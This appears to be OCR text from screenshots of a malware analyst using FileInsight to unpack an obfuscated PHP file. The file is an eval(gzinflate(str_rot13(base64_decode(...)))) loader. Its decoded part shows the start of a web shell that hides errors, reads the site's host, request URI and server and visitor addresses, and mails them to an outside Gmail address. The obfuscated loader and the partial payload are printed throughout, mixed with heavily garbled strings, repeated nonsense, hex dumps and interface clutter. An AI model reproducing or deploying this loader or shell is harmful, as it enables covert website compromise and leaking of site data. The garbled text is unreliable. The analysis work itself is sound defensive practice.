		sPOOFEdpZiiE3I27RVSASHHU/OEwwW8z5b4vPwveXMVo2WEz1LcmBiIM7DZB+7XG5+sz2novutd074b5iJxTGW3MaxFcOhC8ivFsiWTFk7NpoW2KtU21041
		BSU8B67EGBffCPOxRi7+0CxEGjg/w3OuOXCPugF+R1iHcuZ6T1inwY4uSYHOJiFSkg7ekK2VvI5fH6hRD4CPi7cFc64x7SXngK2D6vC/wBXPOLXmXMAMVvx
		zzP0khHV3J6rvITM9Cp4hpGmWl5hTiRA70k4vMiv4evC6/TJgQW6jA88mys+XlejoH+3P2IdZ0Jgv4vAMsEBYFfgnF/wyLr9lVHgrOERvW3gZJKMcGvFcfC
Navigation	🐋 Structures 🛛 Decode	ho3oBhJqAbHZBIqCkZrOfNC9b9bTYJxmmNpkbkUjTKtbgY8Ih5NK5K1Dje+7kHue5U5G6w3pj1E2ZFb39ihwDnyA6BH8D1I4ts87n2B63PxTW60gaNdzE9G
		yFiX1/EbviazqUE3rOUirITp9q8Zh5Qg1LBsUiLRL8K8htgsdS/rHIX8+Ou4Nkoy+Ts5CaceHnkH3Zx6DILvaJF6j2SLcHgGTPrMeqovc1fR/IiS/zfkdm2
Values		rbs87Fui/Z+8+1LYFE4mBf1+k5mA7wmWjfHD2odH4K3k+NNJhJIXDGIaxu5/U4f4PsyD2qtcqeLE+fvY+abDQviBaKEULbiIJZy4LMWGZFFsWyzaXYFnkZg
BE HEX		2FIVQYkKdLFPiRVNt7Uh6LYwVrPV/DuymxR/iJC7gMtKoe6054Y3qIPUom3S6/L8o60XTpOqx025Qx2R7TI1mH9PpLB7yLvDSDSUz7Tzr9VY39eV+6bIKJo
Byte	0	$4 w 0 \pi 9 f R + a T + 6 H d 8 V n P v w C a V i m + w V n v i / W + h V K 0 w C 8 a 0 N C n D M 3 a D a T v v h m 1 R h a v 8 7 K 2 C S + R D 0. Th S i V n 0 n v n v a W m 8 + / D R u a v 2 k V 9 4 R V a a a 6 6 i 0 f d a i a a D T v v h m 1 R h a v 8 7 K 2 C S + R D 0. Th S i V n 0 n v n v a W m 8 + / D R u a v 2 k V 9 4 R V a a a 6 6 i 0 f d a i a a D T v v h m 1 R h a v 8 7 K 2 C S + R D 0. Th S i V n 0 n v n v a W m 8 + / D R u a v 2 k V 9 4 R V a a a 6 6 i 0 f d a i a a D T v v h m 1 R h a v 8 7 K 2 C S + R D 0. Th S i V n 0 n v n v a W m 8 + / D R u a v 2 k V 9 4 R V a a a 6 6 i 0 f d a i a a D T v v h m 1 R h a v 8 7 K 2 C S + R D 0. Th S i V n 0 n v n v a W m 8 + / D R u a v 2 k V 9 4 R V a a a 6 6 i 0 f d a i a a D T v v h m 1 R h a v 8 7 K 2 C S + R D 0. Th S i V n 0 n v n v a W m 8 + / D R u a v 2 k V 9 4 R V a a a 6 6 i 0 f d a i a a D T v v h m 1 R h a v 8 7 K 2 C S + R D 0. Th S i V n 0 n v n v a W m 8 + / D R u a v 2 k V 9 4 R V a a a 6 6 i 0 f d a i a a D T v v h m 1 R h a v 8 7 K 2 C S + R D 0. Th S i V n 0 n v a W m 8 + / D R u a v 2 k V 9 4 R V a a a 6 6 i 0 f d a i a a D T v v h m 1 R h a v 8 7 K 2 C S + R D 0. Th S i V n 0 n v a W m 8 + / D R u a v 2 k V 9 4 R V a a a f a a a b a a a a a a a a a a a a$
WORD	0	
DWORD	0	Output
ASCII		
oncode		

Press F1 for help Цi

🚰 Values 🛛 🔁 Bookmarks 🛛 📅 Calculator

(1)

 \mathbf{X}

📃 Output 🛛 📧 Scripting

D

nJvOkqisK+7L2Tb9o3Rux1+vV+v3ajknrxA0Xz4jn/ ^ f2wFu2dD2X2Hov18Amdfo4vtgctnX+wXsGz5i/OeH2 S6JdKryo+AceqpfwesmoN0V5ieVFRuYLfwwZccoE4E +q+GuzZeGr5teGrrbl3b8TjROav4DvVp01bj6NWQT3 L70aA99urdEovTrzv4QJgIsEXnz1/bPX8cOeQb7zW1 1fWySZSLEsnhg2Tp1BMh1AqfvkBt26JgHYq+u3j300 lnGKK0R6lgrcz3PuXU52I2viIm1Jiskj0E9oZ+mPV№ 4ui+mpnbHZCOBWC9ChwPjladBmqaNq382/ltrVAyTt pN+VHny9FeD5kxzAOG2k3czho73M37nHZqa6hufA11 kwGJLt7MZ550/2KFmcMMfyA/LouQxifh25p02y9C56 EC5V3pxrwVsmtV77hfAZrZqXHGG1KiE1LeKpEEvAL5 M78E1b+yyi8mMeo6XnWfSu9myzBZxVcc6097BTV6zY TM6LN+l1h5pmLW5cta00IJ6nWW7jSoH0r5JiP01jha CxmDaWnrOPtoea9IGPQNfZe00x07PYMtpqqL5xX2Q2 /qecLPC5NJ8L2MQY7DrJMBrX15hT6vh8nTmYgfoDNz adRsT2uozIrvNheiO4TdgE8GfIZ5NMOY0T9dUbBxuE mWezbICyGVb+5XEbo9Xp9vgEtftP5dY6TPWUm5Ps5r Y7wH/IWnzKYT3D/geSiGzfIprUHT5HOzpjIgXlT4rV L4xrIKyrZgnwii+FKF2OzPWCLapCPcoFBhE6Ue90uj ND7pQo9yn/MxbcBzzlHwFrB/uCeDns/18oy/UD7z+F vyT0GHsaQN+4RvyAePd80x5qFD/1Z0eIxxS6mr+Apj 0MaaLcD3I0QFYF0S0M07mFPi714g2I9NJSvKkyp4vc 03YxmyNvpabVeg9uvoX071VUafH7Kuqd60BpvL00it 0u8lUpzYU2lhcYjzC1/5micMLZm1TOMH+9YM6y/jZc Ic9BRvfXG7A/A70MYUXLu0Z1R1rGW0C2wH6ENgFD1Uh 8mfx0/VhbiGsOaWu64MWbjB2CraHauQY+Tcu7LuRWr /McdAtcRYsaJZqVdJ5GMM/oz007cC0j7kgg6ScJVUc VY/+v81.00WwbrM58Y/0Cbat.mCFVbv1cS8DV14+2V15

Ln 58 Col 138 Len 11777 INS

the second se

U P			FileInsight - TDUE28989C68983bd081876281TU7568T22230	d3f51daee40454b3698133cc056.php
File <u>H</u> ome	<u>E</u> dit <u>S</u> earch	Plugins V	<u>V</u> indows He <u>l</u> p	
Operations		_		
,				
Plugins				
Navigation		부 fb0e2a	19a9c6a9a5bd081a7e281f07 ×	
X Supported for HT X Supported for HT Values Values BE HEX Byte WORD DWORD ASCII Unicode Unicode	ML, OLE2, PE and Flash.	e 4 4 2	Synhe eval (gzinflate (str_rot13 (base64_decode ('5X17k5Y1Vffz6k638HT20dot nz/nP3//2w8aN3cRcpW7sa9sgoNMPXrAVNR0kAfCYkrD2ezu/fB7n739691pwtNRemdwi seGuc7Mxr9/cjWa1P/CjWa1P2X5M18X/7zv9yg8Kh66813DVR6610MJeztq10etv+ enwp6BkEmWuV1q7DoJ4sSewarP3NDse8J3J4BoDwb1jxHq3PbTq3/akyYCfvRdhYnTX, 82c+bR5SHt11rtcHg3chBXtJilidjC23S46f1bdCEixi+/00jVcnx8sepbe/2wtx8cMt 75Ypu/Pxrmse0NRvQTainC24HeyM6ukia6Atjeh-bhoDcyvo0jBN3/6frVNtV86osf 7yju293B07hfjH0SHCj+yn+7k77Soiyatf/PRbUBgHh1YLU0txVxy43UKMnuqV5dV10Hc+ UnkeSuucivUgcd+McPm16qQ1V02/oPv0HdD/134mLXPViu/w3Y1yOMw201648x09We9Tg2 63GTH551kNL17M5X+B/ath19PVfGwHaPx1sjDc51aonNmsjAH3MbgCKb2kWb BfgcpaMQ2S+taQ18qx1jpQx0Xet+57NJDcc1MvL1P0HMRXedFS5Nftk1MV/DNHLdfm8NW Hac4Tbc+y20H2DXWHh/iQ1haF0B0sPUrar+2wA9TUD; g5HtduQcs155B022ta1Mu7k15BaXTholc5Mmt2000 g5DH5dyUVMxRn0KP0yAbwPboeY1FX sp0ffcdp21iF3127RVSASHU/OEwW88 B05B6TcB6ffcP0xRi7+0CxRcjg/M301 cutomssed dock z200KhV35Gy1TM9C9AbgCM15hTiRATUK4MXv4gxCf0TgC0M5ABbmysK1Ej0H4922 h030BhJqAbH2B1qCk2r0KnSb5bT31mmNpkbkUjTKtbgY6ffbKKNND0PQR5UWXZabcdm3 y11/EbviazqUB2X0UirTP9q32h5Q1LBsUiLR18K8htp3d5/H1X8+004KN8yF55Cc4 y11/EbviazqUB2K1UFF4mBf1Hk5mA7mm9/HD20dHK8hk1NNh1LND01axu5/U4f4FsyD2q1 2FTVQYKKd1FP1RVNt7Uh61YWrFV/DymxR/iJC7qMtKee6054Y3q1PDm386/L8060Kpg 4rd+4ffb24341PF1RVNt7Uh61YWrFV/DymxR/iJC7qMtKee6054Y3q1PDm386/L8060Kpg 2FTVQYKKd1FP1RVNt7Uh61YWrFV/DymxR/iJC7qMtKee6054Y3q1PDm386/L8060Kpg 4rd+4ffb242d2 2FTVQYKKd1FP1RVNt7Uh61YWrFV/DymxR/iJC7qMtKee6054Y3q1PDm386/L8060Kpg 4rd+4ffb242d2	R2IWANtZnDPJe7yBoNItCAgzp0XcT2CLjICIp85qf9feqKKtnXi 1Qbi7L0ksFIDcHL10OKK6w0aonD7ftwwSQvbYvweorHRAEqoXaz sytg/nethzEzb8W6MpYZhVc/di4wm6+vF3gMeu3+gimehuwla /35s9crUWsd+heHxMmUihIu1XTC2mOXHUzHM84LsrwiaXxB1V3H b0Q9fnbEPTOMegFugfp7EId+sM0BR8avVl29XSr++Mvaf4C 6J5ih/jW859VZ3B6J+k6eaArL6FkBd7/1K5wvS6vn5vi998/cg5 sAQJIF23GrTr22sZr0PrB6tkXMuyw5LauKD9qME99C9iI3mir0r 2dkuVhC9L7gt9168xJChL2SIZPqJ3vVUKiAd5C9mF/zYK3M nbM9bnZDrUBKzMWd2GjMKG25ZOGalJxbg2yzW0IFGOCfXssIGG2 jV0+cbzzijXyuarw67IPjOmHckiu370px2o2c02jrLmwqvGeuJ bNF1V4y4obD555PkLuQJaM4RBZ0rQkoE3wingJGOdDFBcebJ r0H5nR5j1r3PAE5G4EWdhEcmgy9M2bLGhXrPe0rWIQe4r6 posmDJ91PR0+caEaHcMy988j8MzrIVmmrFPH9+NWL6N r0PSc2d7RsZcaLkNZqu2JBqtEC+N5Q26DobsVk7dIc8bob rXaZrRbcEK8N838EeFD4+xQ83M0I1+9CaaCXpzqyA524NwJ am/jta070IT8VEs/VpuF9vsqY7KJ+7Xpuy6VSZ7eR4KWw gorAdZdVpY5uce+rmt18V0f8/cgMXTTAPawncFlOXDvcI0y7oz V6KdUvmEV3qfjCp8I3an8rYml885x5rXo6/nY0vvBirNK2NGaC LAFec5mP56a7XH*#xEico/35xrD3i+35Ug2V4mgnc+PIyo6huHO
Press F1 for help				
Press Fillfor help				

_ ×

>_

McAfee[®]

D X

nJvOkqisK+7L2Tb9o3Rux1+vV+v3ajknrxA0Xz4jn/ ^ f2wFu2dD2X2Hov18Amdfo4vtgctnX+wXsGz5i/OeH2 S6JdKryo+AceqpfwesmoN0V5ieVFRuYLfwwZccoE4E +q+GuzZeGr5teGrrbl3b8TjROav4DvVp01bj6NWQT3 L70aA99urdEovTrzv4QJgIsEXnz1/bPX8cOeQb7zW1 lfWySZSLEsnhg2Tp1BMh1AqfvkBt26JgHYq+u3j300 lnGKK0R6lgrcz3PuXU52I2viIm1Jiskj0E9oZ+mPV№ 4ui+mpnbHZCOBWC9ChwPjladBmqaNq382/ltrVAyTt pN+VHny9FeD5kxzAOG2k3czho73M37nHZqa6hufA11 kwGJLt7MZ550/2KFmcMMfyA/LouQxifh25p02y9C56 EC5V3pxrwVsmtV77hfAZrZgXHGGlKiElLeKpEEvAL5 M78E1b+yyi8mMeo6XnWfSu9myzBZxVcc6097BTV6zY IM6LN+l1h5pmLW5cta00IJ6nWW7jSoH0r5JiP01jha CxmDaWnrOPtoea9IGPQNfZe00x07PYMtpqqL5xX2Q2 /qecLPC5NJ8L2MQY7DrJMBrX15hT6vh8nTmYgfoDNz adRsT2uozIrvNheiO4TdgE8GfIZ5NMOY0T9dUbBxuF nWezbICyGVb+5XEbo9Xp9vgEtftP5dY6TPWUm5Ps5r Y7wH/IWnzKYT3D/geSiGzfIprUHT5HOzpjIgXlT4rV L4xrIKyrZgnwii+FKF2OzPWCLapCPcoFBhE6Ue90uj ND7pQo9yn/MxbcBzzlHwFrB/uCeDns/18oy/UD7z+F vyT0GHsaQN+4RvyAePd80x5qFD/1Z0eIxxS6mr+Apj 0MaaLcD3IOQFYFOS0M07mFPi714g2I9NJSvKkyp4vc 03YxmyNvpabVeg9uvoX071VUafH7Kuqd6OBpvL00ih Du8lUpzYU21hcYjzC1/5micMLZm1TOMH+9YM6y/jZc c9BRvfXG7A/A70MYUXLu0Z1R1rGW0C2wH6ENgFD1Uh 8mfxO/VhbiGsOaWu64MWbjB2CraHauQY+Tcu7LuRWr /McdAtcRYsaJZqVdJ5GMM/oz007cC0j7kgg6ScJVUc

ņ

Ln 58 Col 138 Len 11777 INS

 \Box

New tab is created for the output of the plugin

FileInsight - Output of Custom base64 decode*



File

Operations

Plugins

Edit Search

<u>P</u>lugins

Windows Help



Offset 0h (0) Length 0h (0) OVF

载 🖞 🔌 🕬 🔛 🔤 🗛 🚺

Ð

 \sim

4 🕨 🚽 🗙

	FileInsight - Output of Custom base64 decode*	– 0 X
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lu	u <mark>gins W</mark> indows He <u>l</u> p	
Operations Basic Compression Plugi Crypto		
Navigation Misc Encode	e ▶	< ▷ ✓ >
Support Parsing Thasn. Search Visualization XOR Check for update Version info	Binary data to decimal text 70 68 70 20 65 76 61 6C 28 67 7A 69 6E 66 php eval(gzinf</td Binary data to octal text 74 65 28 73 74 72 5F 72 6F 74 31 33 28 62 late(str_rot13(b) Binary data to binary text 65 36 34 5F 64 65 63 6F 64 65 28 27 E5 7D ase64_decode(') Custom base16 encode 9A D8 D6 F7 DF CF A9 3A DF C1 D3 CF 47 68 { : Gh Custom base32 encode 56 00 DB 59 9C 33 C9 7B BC 81 A0 D2 2D 08 E V Y 3 { - Custom base58 encode A7 45 DC 4D 90 8B 8C 80 88 A7 CE 6A 7F D7 3 E M j Custom base64 encode 68 DD 1B B1 D7 EB D5 FA FD DA 8E 49 EB C4 M h I Custom base85 encode CF 7E 6B Botate alphabet characters in selected region by the V' k / 0 6	
	To quoted printable Unicode escape URL encode FF FB F9 specified amount (default: 13) A5 6E D2 6B DB 20 A0 D3 0F 99 7A C0 54 D4 07 C2 62 4A C3 D9 AC D5 05 4D 4 07 C2 62 4A C3 D9 AC D5 05 4D 4 07 C2 62 4A C3 D9 AC D5 05 4D 4 07 C2 62 4A C3 D9 AC D5 05 4D 4 07 C2 62 4A C3 D9 AC D5 05 4D 4 07 C2 62 4A C3 D9 AC D5 05 4D 4 07 C2 62 4A C3 D9 AC D5 05 06 E2 EC BD 24 B0 I A D D 5 0 I <t< td=""><td></td></t<>	
Navigation Structures Decode Bookmarks · ✓ 및 및 · Ox2e 蛋/答归・マク:° 升	00000180 58 66 15 5C FD D8 B8 C2 79 BA FA F1 77 A8 C7 AE Xf \ y w 00000190 DF E8 22 99 E8 6E C3 56 92 E8 97 4A AF 2A 3E 01 " n V J *> 000001A0 C7 AA A5 FC 1E B2 6A 0D D1 5E 62 79 51 51 B9 82 j ^byQQ 000001B0 DF C3 06 5C 72 81 38 13 73 81 CB 15 9D 4A 98 EA \r 8 s J 000001C0 07 32 2F 52 7C 60 D4 83 16 2F 5E 60 0E B9 F7 CF 2/R ` /^` 000001D0 2A DC 30 83 D9 62 D7 A6 BF 0A 7A 84 19 04 99 6B * 0 b z k	
Bookmark	Output	
🚰 Values 📑 Bookmarks 🖩 Calculator	Output I Scripting	
Press F1 for help		Offset 2Eh (46) Length 2256h (8790) OVF
🖷 🛱 📜 🔀 🍅		



1 ₹	FileInsight - Output of Custom base64 decode*
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lu	igins <u>W</u> indows He <u>l</u> p
Operations	
Plugins	
Supported for HTML OLE2 DE and Elash	The casa as a constant of the custom base of decode x
	00000000 3C 3F 70 68 70 20 65 76 61 6C 28 67 7A 69 6E 66 php eval(gzinf</th
	000000010 6C 61 74 65 28 73 74 72 5F 72 6F 74 31 33 28 62 1ate (str_rot13 (b)
	00000030 7B 93 9A D8 D6 F7 DF CF A9 3A DF C1 D3 CF 47 68 (; Gb
	00000040 45 99 56 00 DB 59 9C 33 C9 7B BC 81 A0 D2 2D 08 E V Y 3 { -
	00000050 08 33 A7 45 DC 4D 90 8B 8C 80 88 A7 CE 6A 7F D7 3 E M j
	00000060 DE 80 A2 AD 9D 78 A7 26 F3 A4 AA 2B 0A FB B2 F6 x & +
	00000070 4D BF 68 DD 1B B1 D7 EB D5 FA FD DA 8E 49 EB C4 M h I
	$0000000B0$ C4 5C A5 6E D2 6B DB 20 A0 D3 0F 99 7A C0 54 D4 $\ k$ z T
	000000C0 4E 90 07 C2 62 4A C3 D9 EC EE FD F0 49 9C 5D FD N bJ I]
	000000D0 1B DD 69 C3 E5 D1 7A 6E 30 95 06 E2 EC BD 24 B0 i zn0 \$
	000000E0 52 03 70 72 E5 D0 E2 8A EB 0D 1A A2 70 FB 7E DC R pr p
	000000F0 30 49 0B DB 62 FC 1E A2 B1 D1 00 4A A8 5D AC DF 0I b J]
	00000110 = FB 60 72 D9 D7 FB 05 FC 1B 3F 62 FC F7 87 D8 360 r > b 6
	00000120 D3 B5 9B E4 30 BE D8 A1 07 EF 27 B7 FD 01 0C 63 0 ' c
	00000130 58 D3 4A FF FC EF DF FF 73 FB B1 FD 5 Serent is running the loose wait
	00000140 E1 A9 ED 68 71 AF DF C2 8C CE 2A 41 8C 3C D4 03
	00000150 FB D9 7E 56 D7 C5 FF EF 3B FD BE 00 7C 2A 17 7A
	00000160 7B C9 77 0D 83 5C EA 24 0C 26 B7 B3 4E AD 46 AU (W Amount of rotation: 13 C OK
	$= 00000180^{1} 58.66155C ED D8 B8 C2 79 BA FA F1 77 A8 C7 AF X f \ V W$
🐼 Navigation 🛛 🕺 Structures 🛛 Decode	$ 00000190 \text{DF E8 } 22 \ 99 \ \text{E8 } 6E \ \text{C3 } 56 \ \text{92 } \text{E8 } 97 \ \text{4A } \text{AF } 2A \ \text{3E } 01 \text{"n V } J \ \text{*} > $
ookmarks f	000001A0 C7 AA A5 FC 1E B2 6A 0D D1 5E 62 79 51 51 B9 82 j ^byQQ
1 🔍 😡	000001B0 DF C3 06 5C 72 81 38 13 73 81 CB 15 9D 4A 98 EA \r 8 s J
	000001c0 07 32 2F 52 7C 60 D4 83 16 2F 5E 60 0E B9 F7 CF 2/R `/^`
_ UX2e 重(皆归·(9: 7t	$\begin{bmatrix} 000001D0 \\ 2A DC 30 83 D9 62 D7 A6 BF 0A 7A 84 19 04 99 6B * 0 b z k \end{bmatrix}$
	Output
	٢
🚰 Values 🛛 🔁 Bookmarks 🛛 🏢 Calculator	🔲 Output 🔤 Scripting
ess F1 for help	



ð X

													^
_	-							-					ч
_	-						-	-		-			Ť
_													>
				C	ffset	2Eh	(46)	Leng	gth 2	256h	(8790)) C	VR
	-	Ċ,	2	\$ >)	烥	vm	А		4:3 8/7	33 PN 7/202	1	\Box	

D 14					
File	<u>H</u> ome	<u>E</u> dit	<u>S</u> earch	<u>P</u> lugins	<u>W</u> ind
Operation	rations				

<u>W</u>indows He<u>l</u>p

FileInsight - Output of ROT13*

Plugins		
Navigation	fb0e2a9a9c6a9a5bd081a7e281f07 × Output of Custom base64 decode* × Output of ROT13* ×	∢ ▷ ↓ >
X Supported for HTML, OLE2, PE and Flash. X Supported for HTML, OLE2, PE and Flash. Y Supported for HTML, OLE2, PE and Flash.	4 fbbc2a396da93bd031a728107 × Output of Cutom base54 decode × Output of R0173* × 000000000 3C 3F 70 68 70 20 65 76 61 6C 28 67 7A 69 6E 66 <7 php eval (gzinf 00000016 6C 61 74 65 28 73 74 72 5F 72 6F 74 31 32 28 62 late(str_rot13(b) 00000020 61 73 65 36 34 5F 64 65 63 6F 64 65 28 27 E5 7D ase64_decode(' 00000040 52 99 49 00 D8 4C 9C 33 C9 7B BC 81 A0 D2 20 08 R I L 3 (- 00000050 08 33 A7 52 DC 5A 90 8B 8C 80 88 A7 CE 77 7F D7 3 R Z w 00000060 DE 80 A2 AD 9D 6B A7 26 F3 A4 AA 2B 0A FB 52 F8 R I L 3 (
Bookmarks	P 000001A0 C7 AA A5 FC 1E B2 77 0D D1 5E 6F 6C 44 44 B9 82 w ^olDD 000001B0 DE C2 06 FC 6F 81 28 12 66 81 CD 15 0D 57 08 EA No. 8 fc No. 8 fc	
	000001C0 07 32 2F 45 7C 60 D4 83 16 2F 5E 60 0E B9 F7 CF 2/EI / ^	
0x2e 蛩(答リ∃・マゥ:°チモ	000001D0 2A DC 30 83 D9 6F D7 A6 BF 0A 6D 84 19 04 99 78 * 0 o m x	v
	Output	₽
Values Rookmarks 📅 Calculator	Contract Be Scripting	>
		Offset 16h (22) Length 0h (0) OVB
- H: 		



-

ð X





												ŕ	^
													~
													P
_	-	-	-	-	-	-	-	-	-	-	-		
													>
				C)ffset	:2Eh	(46)	Leng	th 22	56h (8 1 DM	790)	0\	/R
	4	Ĉ,	2	\$ >)	烥	vm	А		4.34 8/7/	/2021	ς,]	

♥ 🔻	FileInsight - Output of Raw inflate*
File <u>H</u> ome <u>E</u> dit <u>S</u> earch <u>P</u> lugi	ins <u>W</u> indows He <u>l</u> p
· D. On writing	
Operations	
Plugins	
Navigation P	fb0e2a9a9c6a9a5bd081a7e281f07 × Output of Custom base64 decode* × Output of ROT13* × Output of Raw inflate* ×
X Supported for HTML, OLE2, PE and Flash.	00000000 3C 3F 70 68 70 20 65 76 61 6C 28 67 7A 69 6E 66 php eval(gzinf)</th
	00000010 6C 61 74 65 28 73 74 72 5F 72 6F 74 31 33 28 62 late (str_rot13 (b
	00000020 61 73 65 36 34 5F 64 65 63 6F 64 65 28 27 65 72 ase64_decode('er
	00000030 72 6F 72 5F 72 65 70 6F 72 74 69 6E 67 28 30 29 ror_reporting(0)
	00000050 53 45 53 53 49 4F 4E 5B 27 62 61 6B 61 6B 27 5D SESSION['bajak']
	00000060 29 29 09 7B 0D 0A 24 76 69 73 69 74 63 6F 75 6E)) { \$visitcoun
	00000070 74 20 3D 20 30 3B 0D 0A 24 77 65 62 20 3D 20 24 t = 0; \$web = \$
	00000080 5F 53 45 52 56 45 52 5B 22 48 54 54 50 5F 48 4F _SERVER["HTTP_HO
	$\begin{array}{c} 00000090 \\ 53 54 22 5D 3B 0D 0A 24 69 6E 6A 20 3D 20 24 5F ST"]; \\ 51nj = 5 \\ 000000000 \\ 53 45 52 56 45 52 5P 22 52 45 51 55 45 53 54 5F SFPVFP ["PFOUEST"] \\ \end{array}$
	$\frac{1}{100000000} = 555249225D 3B 0D 0A 2462 6F 647920 3D 20 URI"1; Sbody = 1$
	000000C0 22 4A 43 45 20 53 68 65 6C 6C 73 20 62 6F 67 65 "JCE Shells boge
	000000D0 6C 20 5C 6E 24 77 65 62 24 69 6E 6A 22 3B 0D 0A 1 \n\$web\$inj";
	000000E0 24 73 61 66 65 6D 30 64 65 20 3D 20 40 69 6E 69 \$safem0de = @ini
	00000100 29 3B 0D 0A 69 66 20 28 21 24 73 61 66 65 6D 30); if (!\$safem0
	00000110 64 65 29 20 7B 24 73 65 63 75 72 69 74 79 3D 20 de) {\$security=
	00000120 22 53 41 46 45 5F 4D 4F 44 45 20 3D 20 4F 46 46 "SAFE_MODE = OFF
	00000130 22 3B 7D 0D 0A 65 6C 73 65 20 7B 24 73 65 63 75 "; else {\$secu
	$\begin{array}{c ccccccccccccccccccccccccccccccccccc$
	00000160 65 72 3D 67 65 74 68 6F 73 74 62 79 6E 61 6D 65 er=gethostbyname
	00000170 28 24 5F 53 45 52 56 45 52 5B 27 53 45 52 56 45 (\$_SERVER['SERVE
🐼 Navigation 📑 Structures D Decode	00000180 52 5F 41 44 44 52 27 5D 29 3B 0D 0A 24 69 6E 6A R_ADDR']); \$inj
Rookmarkr A	00000190 65 6B 74 6F 72 20 3D 20 67 65 74 68 6F 73 74 62 ektor = gethostb 000001a0 79 6F 61 6D 65 28 24 5F 53 45 52 56 45 52 5F 27 where (\$ SFRVER[]
	000001B0 52 45 4D 4F 54 45 5F 41 44 44 52 27 5D 29 3B 0D REMOTE ADDR']);
	000001C0 0A 6D 61 69 6C 28 22 73 65 74 6F 72 61 6E 34 30 mail("setoran40
Ox2e error_reporting	000001D0 34 40 67 6D 61 69 6C 2E 63 6F 6D 22 2C 20 22 24 4@gmail.com", "\$
	Output
	Decompressed 8790 bytes from offset 0x2e to 0x2283.
	Added a bookmark to decompressed region.
😭 Values 🛛 📑 Bookmarks 🔠 Calculator	🗉 Output 🔤 Scripting

📃 🎦 🗳 刘 💆 🤗



—

ð X

													→ ×
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													^
マー・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・・													
Offset 0h (0) Length 0h (0) OVR 1 1 434 PM 87772021 ↓													
Offset 0h (0) Length 0h (0) OVR 1 1 434 PM 877/2021 ↓													
ب ب ب ب ب ب ب ب ب ب ب ب ب ب ب ب ب ب ب													
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													
ب ب Offset 0h (0) Length 0h (0) OVR بر ای کو برای ای کو ای برای برای ای کو ای برای برای ای کو ای برای ای کو ای برای ای کو کو ای کو کو ای کو													
ب													
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													
다 고 () () () () () () () () () (
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													
・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・ ・													
+ Offset 0h (0) Length 0h (0) OVR 1 □ 4:34 PM 1 □ 4:34 PM 1 □ 4:34 PM		-	-	-	-	-	-	-					•
Offset 0h (0) Length 0h (0) OVR 電 🗈 🐼 대) 담교 🚾 A 🖸 4:34 PM 8/7/2021 다	_	-	-	-	-	-	-	-	-	-	-		4
Offset 0h (0) Length 0h (0) OVR 電 다 다 다 도 대 유 전 4:34 PM 8/7/2021 모		-	-	-	-	-	-	-				_	-
Offset 0h (0) Length 0h (0) OVR 電 🗈 🐼 대) 담 🚾 A 🖸 4:34 PM 8/7/2021 다													
Offset 0h (0) Length 0h (0) OVR 電 ① 4:34 PM 2/7/2021 □													
Offset 0h (0) Length 0h (0) │ OVR 電 [] ▲ 4:34 PM 8/7/2021 □													
Offset 0h (0) Length 0h (0) OVR 氠 [] 작 아 담 편 A [2] 4:34 PM 용/7/2021 무													
> Offset 0h (0) Length 0h (0) OVR 電 日本 (1) 日本 (1) OVR 電 日本 (1) (1) 11 11 11 11 11 11 11 11 11 11 11 11 1													
Offset 0h (0) Length 0h (0) OVR 氠 🖞 🖎 대) 담 🚾 A 🖸 4:34 PM 용/7/2021 다													
> Offset 0h (0) Length 0h (0) OVR 電 〇 本34 PM 報 〇 本 小 記 極 名 〇 4:34 PM 8/7/2021 ワ													
Offset 0h (0) Length 0h (0) OVR the Diffect 0h (0) - CVR the Diffect													>
Offset 0h (0) Length 0h (0) OVR													
🕂 🕄 🛰 🕼 臣 🔤 A 🖸 🖏 🖓 🖓							0	ffset	0h (0)	Leng	gth Oh	(0)	OVR
		1	Ċ,	2	\$ »)	貯	vm	A		4.54 8/7/2	2021	5]

				FileInsight - Output of Raw inflate*
File <u>H</u> om	ne <u>E</u> dit <u>S</u> ea	rch <u>P</u> lu	ugins <u>W</u> indows He	e <u>l</u> p
	Rasic	▶ Con	w to new file	
Operation	Compression	► Boo	kmark	
	Crypto	▶ Cut	binary to clipboard	Copy selected region (the whole file if not selected) to a new file
	Encoding	Con	v binary to clipboard	
Plugins	Misc	▶ Past	te binary from clipboard	
Navigation	Parsing	• Dele	ete before	a7e281f07 × Output of Custom base64 decode* × Output of ROT13* × Output of Raw inflate* ×
🗙 Supported	Search	 Deletion 	ete after	3C 3F 70 68 70 20 65 76 61 6C 28 67 7A 69 6E 66 php eval(gzinf)</th
	Visualization	▶ Fill		6C 61 74 65 28 73 74 72 5F 72 6F 74 31 33 28 62 late (str_rot13 (b
	XOR	Inve	ert	61 73 65 36 34 5F 64 65 63 6F 64 65 28 27 65 72 ase64_decode('er
	Check for update	Rev	erse order	72 6F 72 5F 72 65 70 6F 72 74 69 6E 67 28 30 29 ror_reporting(0)
	Version info	Swa	p nibbles	3B 0D 0A 69 66 20 28 21 69 73 73 65 74 28 24 5F ; if (!isset(\$
		Swa	p two bytes	53 45 53 53 49 4F 4E 5B 27 62 61 6A 61 6B 27 5D SESSION ['bajak']
		Tou	ipper case	74 20 3D 20 30 3B 0D 0A 24 77 65 62 20 3D 20 24 + = 0 + Sweb = S
		Tol	ower case	5F 53 45 52 56 45 52 5B 22 48 54 54 50 5F 48 4F SERVER["HTTP HO
